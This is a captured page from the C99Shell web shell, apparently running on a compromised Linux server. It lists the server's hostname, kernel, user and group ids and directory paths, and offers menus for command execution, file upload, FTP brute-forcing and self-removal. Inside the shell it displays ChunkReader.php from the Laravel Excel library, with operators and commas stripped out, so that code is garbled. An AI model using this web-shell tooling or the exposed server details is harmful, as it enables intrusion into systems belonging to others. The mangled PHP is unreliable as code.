!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/maatwebsite/excel/src/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ChunkReader.php (4.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel;

use 
Illuminate\Bus\Queueable;
use 
Illuminate\Container\Container;
use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Foundation\Bus\PendingDispatch;
use 
Illuminate\Queue\InteractsWithQueue;
use 
Illuminate\Queue\Jobs\SyncJob;
use 
Illuminate\Support\Collection;
use 
Maatwebsite\Excel\Concerns\ShouldQueueWithoutChain;
use 
Maatwebsite\Excel\Concerns\WithChunkReading;
use 
Maatwebsite\Excel\Concerns\WithEvents;
use 
Maatwebsite\Excel\Concerns\WithLimit;
use 
Maatwebsite\Excel\Concerns\WithProgressBar;
use 
Maatwebsite\Excel\Files\TemporaryFile;
use 
Maatwebsite\Excel\Imports\HeadingRowExtractor;
use 
Maatwebsite\Excel\Jobs\AfterImportJob;
use 
Maatwebsite\Excel\Jobs\QueueImport;
use 
Maatwebsite\Excel\Jobs\ReadChunk;
use 
Throwable;

class 
ChunkReader
{
    
/**
     * @var Container
     */
    
protected $container;

    public function 
__construct(Container $container)
    {
        
$this->container $container;
    }

    
/**
     * @param  WithChunkReading  $import
     * @param  Reader  $reader
     * @param  TemporaryFile  $temporaryFile
     * @return PendingDispatch|Collection|null
     */
    
public function read(WithChunkReading $importReader $readerTemporaryFile $temporaryFile)
    {
        if (
$import instanceof WithEvents) {
            
$reader->beforeImport($import);
        }

        
$chunkSize    $import->chunkSize();
        
$totalRows    $reader->getTotalRows();
        
$worksheets   $reader->getWorksheets($import);
        
$queue        property_exists($import'queue') ? $import->queue null;
        
$delayCleanup property_exists($import'cleanupInterval') ? $import->cleanupInterval 60;

        if (
$import instanceof WithProgressBar) {
            
$import->getConsoleOutput()->progressStart(array_sum($totalRows));
        }

        
$jobs = new Collection();
        foreach (
$worksheets as $name => $sheetImport) {
            
$startRow HeadingRowExtractor::determineStartRow($sheetImport);

            if (
$sheetImport instanceof WithLimit) {
                
$limit $sheetImport->limit();

                if (
$limit <= $totalRows[$name]) {
                    
$totalRows[$name] = $sheetImport->limit();
                }
            }

            for (
$currentRow $startRow$currentRow <= $totalRows[$name]; $currentRow += $chunkSize) {
                
$jobs->push(new ReadChunk(
                    
$import,
                    
$reader->getPhpSpreadsheetReader(),
                    
$temporaryFile,
                    
$name,
                    
$sheetImport,
                    
$currentRow,
                    
$chunkSize
                
));
            }
        }

        
$afterImportJob = new AfterImportJob($import$reader);

        if (
$import instanceof ShouldQueueWithoutChain) {
            
$afterImportJob->setInterval($delayCleanup);
            
$afterImportJob->setDependencies($jobs);
            
$jobs->push($afterImportJob->delay($delayCleanup));

            return 
$jobs->each(function ($job) use ($queue) {
                
dispatch($job->onQueue($queue));
            });
        }

        
$jobs->push($afterImportJob);

        if (
$import instanceof ShouldQueue) {
            return new 
PendingDispatch(
                (new 
QueueImport($import))->chain($jobs->toArray())
            );
        }

        
$jobs->each(function ($job) {
            try {
                
function_exists('dispatch_now')
                    ? 
dispatch_now($job)
                    : 
$this->dispatchNow($job);
            } catch (
Throwable $e) {
                if (
method_exists($job'failed')) {
                    
$job->failed($e);
                }
                throw 
$e;
            }
        });

        if (
$import instanceof WithProgressBar) {
            
$import->getConsoleOutput()->progressFinish();
        }

        unset(
$jobs);

        return 
null;
    }

    
/**
     * Dispatch a command to its appropriate handler in the current process without using the synchronous queue.
     *
     * @param  object  $command
     * @param  mixed  $handler
     * @return mixed
     */
    
protected function dispatchNow($command$handler null)
    {
        
$uses class_uses_recursive($command);

        if (
in_array(InteractsWithQueue::class, $uses) &&
            
in_array(Queueable::class, $uses) && !$command->job
        
) {
            
$command->setJob(new SyncJob($this->containerjson_encode([]), 'sync''sync'));
        }

        
$method method_exists($command'handle') ? 'handle' '__invoke';

        return 
$this->container->call([$command$method]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0181 ]--